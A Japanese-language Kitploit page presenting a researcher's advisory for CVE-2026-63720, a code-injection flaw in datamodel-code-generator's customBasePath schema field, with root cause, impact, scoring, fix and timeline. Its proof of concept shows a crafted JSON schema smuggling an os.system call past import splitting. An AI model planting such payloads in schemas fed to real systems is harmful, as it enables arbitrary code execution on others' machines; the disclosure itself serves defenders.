Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63720-datamodel-code-generator — datamodel-code-generator における、検証されていない customBasePath を介したコードインジェクション(RCE)(CVE-2026-63720) | Kitploit
ツール/GitHubGitHub/rahulreddykarne/cve-2026-63720-datamodel-code-generator
脆弱性分析エクスプロイトサプライチェーンセキュリティ学習と教育ペイロード開発
GitHubrahulreddykarne/cve-2026-63720-datamodel-code-generator

CVE-2026-63720-datamodel-code-generator

datamodel-code-generator における、検証されていない customBasePath を介したコードインジェクション(RCE)(CVE-2026-63720)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
17日前未レビュー

CVE-2026-63720: datamodel-code-generator における検証されていない customBasePath によるコードインジェクション

重大度: 高, CVSS 3.1 7.5 / CVSS 4.0 7.5(VulnCheck(CNA)により割り当て)

環境上限(ネットワークサービス展開): 最大 9.8

ベクター(v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

ベクター(v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

影響を受けるバージョン: datamodel-code-generator < 0.70.0

修正バージョン: 0.70.0

CWE: CWE-94(コード生成の制御不備、'コードインジェクション')

報告者: Rahul Karne

CNA: VulnCheck

公開日: 2026年7月26日


概要

datamodel-code-generator は、コードインジェクションペイロードを運び得るスキーマ制御のインポート文字列をすべて検証していましたが、例外が1つありました。

このツールは、入力スキーマ(JSON Schema、OpenAPI、YAML)をPythonモデルのソースコードに変換します。複数のスキーマフィールドが生成コードに直接レンダリングされるため、プロジェクトはそれらをドット区切りのPython識別子として使用前に検証しており、特にインジェクションを防ぐためです。スキーマ拡張フィールド customBasePath は、このチェックをスキップする唯一の兄弟フィールドです。その値はサニタイズされずに生成出力の from ... import ... 文に流れ込みます。入力スキーマを制御する攻撃者は、改行とドットを含まない式を使って任意のPythonを埋め込むことができ、生成されたモジュールがインポートされた瞬間(モデル生成後の通常の次のステップ)に実行されます。

これは、兄弟フィールド customTypePath と x-python-import をまさにこの種の攻撃から保護した CVE-2026-55415(GHSA-5578-w22f-pfx9)の不完全な修正です。この修正は customBasePath をカバーしておらず、このフィールドは検証されずに同じシンクに到達し、0.68.1 および main ブランチでは 0.70.0 まで悪用可能なままでした。

影響

生成されたモデルをインポートまたは実行するプロセス(開発者のマシン、CIランナー、またはモデルを生成してロードする任意のサービス)での任意のPythonコード実行。ホストの機密性、完全性、可用性は完全に侵害され、そのプロセスの特権によってのみ制限されます。

重大度は、コード生成が信頼できない入力に対してどこで実行されるかに完全に依存します:

  • ローカル開発ワークフロー。 開発者が自分で作成していないスキーマ(取得した、またはサードパーティのOpenAPIドキュメント)からモデルを生成し、結果をインポートします。コードは開発者として実行されます。これが基本スコアが割り当てられたケースです。
  • CI / ビルドパイプライン。 パイプラインがサードパーティの仕様からモデルを生成し、テストを実行します。コードはCIランナー上で、そのランナーが保持する資格情報で実行されます。
  • ネットワークサービス(環境上限、最大 9.8)。 HTTP経由でスキーマを受け入れ、モデルを生成してロードするサービス(例:顧客提供のOpenAPI仕様からSDKを自動生成するB2Bプラットフォーム)は、単一の認証不要リクエストから、ユーザー操作なしで攻撃者のコードをサーバー上で実行します。これは、メンテナー自身の関連アドバイザリ(GHSA-m34r)がスコープ内と明記した展開形態です。

影響を受けるユーザー: datamodel-code-generator < 0.70.0 を使用しており、(1) customBasePath の値が攻撃者の影響下にあるスキーマからモデルを生成し、(2) 生成されたモジュールをインポートまたは実行するすべての利用。デフォルトの「コード生成→インポート」ワークフローは本質的に(2)を満たします。

影響を受けないユーザー:

  • customBasePath が検証される 0.70.0 以降を使用している利用者。
  • 完全に信頼できる第一者スキーマからのみモデルを生成するワークフロー。
  • ソースを生成するがインポートまたは実行しないワークフロー(ツールの目的がモデルを生成して使用することであるため、まれです)。

リーチ

指標値ソース
全期間ダウンロード数1億9400万pepy.tech/projects/datamodel-code-generator

技術的詳細

根本原因

customBasePath スキーマフィールドの値は、識別子の制約なしに生成コードに取り込まれます。コードベースの3つのポイントが重要です(src/datamodel_code_generator/ からの相対パス):

  • スキーマエントリポイント。 parser/jsonschema.py は alias="customBasePath" を持つフィールド custom_base_path を定義し(約644行目)、複数の呼び出しサイトで _resolve_base_class(...) を介して消費されます。
  • 検証の欠如。 parser/base.py の _resolve_base_class(約1665行目)は、ローカルの normalize()(重複排除/ストリップ)のみを行った後に値を返します。識別子の検証は適用されません。
  • シンク。 imports.py の Import.from_full_path()(約35行目)は、値をそのまま from ... import ... 行として出力します。この値は model/base.py の set_base_class(約1324行目)でクラスベースとしても使用され、モデルテンプレート(class {{ class_name }}({{ base_class }}):)によって生のままレンダリングされます。

値が制約なしでPythonソースに書き込まれるため、埋め込まれた改行とドットを含まない式は、それぞれ独立して解析可能な行として出力に残り、中間の行がインポート時に実行されます。

ペイロードは必然的にドットを含みません。Import.from_full_path は値を . で分割するため、通常の os.system(...) 呼び出しは分解されてしまいます。getattr(__import__('os'),'system')(...) を使用すると、. を避けつつ同じ呼び出しを解決でき、周囲の改行によって出力される from ... import ... 行が構文的に有効なまま維持されるため、注入された中間行はクリーンに実行されます。

これが強化されたコードベースで生き残った理由

これはインジェクションを軽視したプロジェクトではありません。メンテナーは複数のアドバイザリ(GHSA-5578、m34r、8m8r、wjv6)にわたって、このまさに同じ脆弱性クラスに対する防御を繰り返し強化し、そのたびにスキーマ制御のインポートまたは型文字列をコード生成に到達する前に _validate_dotted_python_identifier_path に通していました。兄弟フィールド customTypePath(parser/jsonschema.py の約4956行目、5202行目で検証)と x-python-import(約2096行目)はどちらもそのバリデーターを通ります。

customBasePath は、そのような呼び出しがない唯一の兄弟フィールドです。これは、他のフィールドが受けた検証に配線されることのなかった別のパス(_resolve_base_class)を通って同じ Import.from_full_path シンクに到達します。この欠陥が生き残ったのは、まさに周囲の防御が完全に見えたからです:検証されていないインポート文字列をスキャンするレビューアは、最初にチェックするフィールドにバリデーターを見つけますが、このフィールドはインポート処理ではなくベースクラス解決のように見えるヘルパーを通ります。これは、体系的な修正におけるギャップであり、修正が存在しないわけではありません。だからこそ最新リリースまで残存したのです。

悪用の前提条件

攻撃者に必要なもの:

  1. datamodel-code-generator < 0.70.0 を使用するターゲット。
  2. ターゲットが処理するスキーマの customBasePath 値への制御。実際には、入力スキーマの提供または操作(サードパーティのOpenAPI/JSON Schemaドキュメント、またはサービスに提出されたスキーマ)による。
  3. ターゲットが生成されたモジュールをインポートまたは実行すること。これは通常の「コード生成→使用」ワークフローです。

攻撃者の認証や昇格された特権は不要です(PR:N)。基本スコアは、被害者が通常の生成およびインポート操作を実行することを反映しています(v3.1では UI:R / v4.0では UI:A)。ネットワークサービス展開ではそれすらも不要になり、環境スコア9.8の根拠となっています。

概念実証

以下は、実際の未改変パッケージに対して実行されました。再現手順:

root@kitploit:~
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"

攻撃者の入力(attack.json):

root@kitploit:~
{
  "type": "object",
  "title": "User",
  "customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
  "properties": { "name": { "type": "string" } }
}

脆弱なバージョン(0.68.1)で生成された generated_models.py:

root@kitploit:~
from __future__ import annotations

from builtins import object

getattr(__import__('os'), 'system')(
    'whoami > RCE_PROOF.txt'
)
from builtins import object


class User(object):
    name: str | None = None

攻撃者の呼び出しは生成されたソースにそのまま出力されます。

インポート時: コマンドが実行されます。検証済みの実行では、注入されたマーカーがstdoutに出力され、現在のユーザー(root)を含む RCE_PROOF.txt が作成され、通常の「生成してインポート」ワークフローを通じた任意のコマンド実行が確認されました。

パッチ適用済みバージョン(0.70.0): 同じスキーマは、コードが生成される前に拒否されます:

root@kitploit:~
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"

ファイルは生成されません。拒否メッセージは修正内容を直接示しています:値は現在、ドット区切りのPython識別子パスであることが要求されます。

ネットワークサービス版。 POSTされたスキーマを受け入れ、モデルを生成してインポートする認証不要のループバックHTTPサービスが、ユーザー操作なしで、単一の認証不要の curl によってサーバー上で攻撃者のコマンドを実行することが実証されました。これは環境スコア9.8の背景にある展開形態です。サービスと攻撃ファイルはPoCリポジトリに含まれています。

デモを見る

修復

datamodel-code-generator 0.70.0 以降にアップグレードしてください:

root@kitploit:~
pip install --upgrade "datamodel-code-generator>=0.70.0"

0.70.0 は customBasePath を customTypePath と x-python-import にすでに適用されているものと同じドット区切り識別子検証に通すため、有効な識別子パスではない値はコード生成前に拒否されます。

すぐにアップグレードできない場合: 完全に制御できないスキーマからモデルを生成せず、信頼できないスキーマから生成されたモジュールをインポートまたは実行しないでください。影響を受けるバージョンで欠落した検証を追加する設定フラグはありません。アップグレードが確実な修正です。

ジェネレーターの内部を再利用する人への注意。 この欠陥は、Import.from_full_path への1つのコードパスでの検証呼び出しの欠落であり、シンク自体の欠陥ではありません。スキーマ制御の文字列を生成コードにレンダリングする下流プロジェクトは、明白なインポート処理パスを通るものだけでなく、すべてのそのようなフィールドをドット区切り識別子として検証する必要があります。

CVSSスコアについて

VulnCheck(CNA)は 7.5(高) を割り当てました。これは、メンテナーが親アドバイザリ CVE-2026-55415 に使用した基本ベクターと一致しています。同じインジェクションクラス、同じ Import.from_full_path シンク、同じ影響だからです。

  • AV:N:スキーマはネットワーク経由で取得されることが一般的です(取得した、またはサードパーティのOpenAPI / JSON Schemaドキュメント)。
  • AC:H:悪用は、被害者が悪意のあるスキーマからモデルを生成し、生成されたコードをインポートまたは実行することに依存します。
  • PR:N / UI:R(v3.1):攻撃者の特権は不要。被害者が通常のコード生成およびインポートワークフローを実行します。
  • C:H / I:H / A:H:ホスト上での完全な任意コード実行。

環境上限は 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)で、ジェネレーターが信頼できないスキーマにさらされ、被害者の操作が不要なネットワークサービス展開に特に適用されます。この数字はその展開に対する環境上の注記であり、割り当てられた基本スコアではありません。両方を示し、どちらがどちらかを明確にすることが正直な枠組みです:基本は7.5であり、露出したサービスケースでのみ9.8に達します。

開示の経緯

日付出来事
2026年7月13日脆弱性を特定

クレジット

Rahul Karne(セキュリティ研究者、IEEEシニアメンバー)によって発見・報告されました。彼の研究は、PyAthena のSQLインジェクション(CVE-2026-65321)や、この発見に関連する親クラスの強化など、依存度の高いオープンソースパッケージにおけるインジェクションおよび入力処理の欠陥に焦点を当てています。

連絡先:[email protected] · GitHub: rahulreddykarne

参照

  • NVD(CVE-2026-63720): https://nvd.nist.gov/vuln/detail/CVE-2026-63720
  • CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-63720
  • VulnCheckアドバイザリ: https://www.vulncheck.com/advisories/datamodel-code-generator-code-injection-via-unvalidated-custombasepath-schema-field
  • パッチコミット 545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5
  • 親アドバイザリ(不完全な修正): CVE-2026-55415 / GHSA-5578-w22f-pfx9
  • プロジェクトリポジトリ: https://github.com/koxudaxi/datamodel-code-generator
  • ダウンロード統計: https://pepy.tech/projects/datamodel-code-generator

プレス

メディアからの問い合わせ:[email protected]。完全なPoC(攻撃者スキーマ、ネットワークサービスデモ)および追加の技術的詳細はリクエストに応じて提供可能です。

ツールをダウンロード
直近30日間のダウンロード数1630万pepy.tech
一般的な展開形態開発者のマシン、CI/CDパイプライン、OpenAPI / JSON Schema からコード生成するSDK生成プラットフォームツールの機能に固有
2026年7月14日報告(協調的開示)
2026年7月21日修正をコミット(545a96c5)
2026年7月24日パッチ適用版 0.70.0 をリリース
2026年7月26日VulnCheck が CVE-2026-63720 を公開